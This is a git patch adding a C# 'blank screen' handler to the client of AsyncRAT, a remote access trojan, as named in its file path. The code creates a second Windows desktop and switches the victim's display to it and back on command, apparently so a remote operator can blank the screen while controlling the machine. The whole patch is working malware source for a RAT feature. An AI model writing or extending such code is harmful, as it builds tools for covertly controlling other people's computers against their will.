From 3acc737040df2fa3d2f53c9f7d892409080ec842 Mon Sep 17 00:00:00 2001
From: MrDevBot <Alexeldera04@gmail.com>
Date: Mon, 17 Jun 2019 14:14:57 +1000
Subject: [PATCH] Created handle function and packets

TODO: Submit merge request to master
---
 .../Client/Handle Packet/HandleBlankScreen.cs | 71 +++++++++++++++++++
 1 file changed, 71 insertions(+)
 create mode 100644 AsyncRAT-C#/Client/Handle Packet/HandleBlankScreen.cs

diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleBlankScreen.cs b/AsyncRAT-C#/Client/Handle Packet/HandleBlankScreen.cs
new file mode 100644
index 0000000..919382e
--- /dev/null
+++ b/AsyncRAT-C#/Client/Handle Packet/HandleBlankScreen.cs	
@@ -0,0 +1,71 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Runtime.InteropServices;
+using System.Text;
+
+namespace Client.Handle_Packet
+{
+    class HandleBlankScreen
+    {
+        [DllImport("user32.dll")]
+        public static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa);
+
+        [DllImport("user32.dll")]
+        private static extern bool SwitchDesktop(IntPtr hDesktop);
+
+        [DllImport("user32.dll")]
+        public static extern bool CloseDesktop(IntPtr handle);
+
+        [DllImport("user32.dll")]
+        public static extern bool SetThreadDesktop(IntPtr hDesktop);
+
+        [DllImport("user32.dll")]
+        public static extern IntPtr GetThreadDesktop(int dwThreadId);
+
+        [DllImport("kernel32.dll")]
+        public static extern int GetCurrentThreadId();
+        enum DESKTOP_ACCESS : uint
+        {
+            DESKTOP_NONE = 0,
+            DESKTOP_READOBJECTS = 0x0001,
+            DESKTOP_CREATEWINDOW = 0x0002,
+            DESKTOP_CREATEMENU = 0x0004,
+            DESKTOP_HOOKCONTROL = 0x0008,
+            DESKTOP_JOURNALRECORD = 0x0010,
+            DESKTOP_JOURNALPLAYBACK = 0x0020,
+            DESKTOP_ENUMERATE = 0x0040,
+            DESKTOP_WRITEOBJECTS = 0x0080,
+            DESKTOP_SWITCHDESKTOP = 0x0100,
+
+            GENERIC_ALL = (DESKTOP_READOBJECTS | DESKTOP_CREATEWINDOW | DESKTOP_CREATEMENU |
+                            DESKTOP_HOOKCONTROL | DESKTOP_JOURNALRECORD | DESKTOP_JOURNALPLAYBACK |
+                            DESKTOP_ENUMERATE | DESKTOP_WRITEOBJECTS | DESKTOP_SWITCHDESKTOP),
+        }
+
+        // old desktop's handle, obtained by getting the current desktop assigned for this thread
+        static readonly IntPtr hOldDesktop = GetThreadDesktop(GetCurrentThreadId());
+
+        // new desktop's handle, assigned automatically by CreateDesktop
+        static IntPtr hNewDesktop = CreateDesktop("RandomDesktopName", IntPtr.Zero, IntPtr.Zero, 0, (uint)DESKTOP_ACCESS.GENERIC_ALL, IntPtr.Zero);
+
+        public static bool switcher = false; //the screen is not blanked be default so this should be false
+        public static void RunBlankScreen()
+        {
+            //light switch logic CopyPasta by MrDevBot
+
+            if (switcher == false) //The current screen is NOT blanked and needs to be
+            {
+                SwitchDesktop(hNewDesktop);
+                switcher = true; //sets the switch to on for next click
+                return; //returns to calling function
+            }
+            else //the screen is blanked and should be switched back to old
+            {
+                SwitchDesktop(hOldDesktop); 
+                switcher = false; //sets the switch to off for next click
+                return; //returns to calling function
+            }
+        }
+    }
+}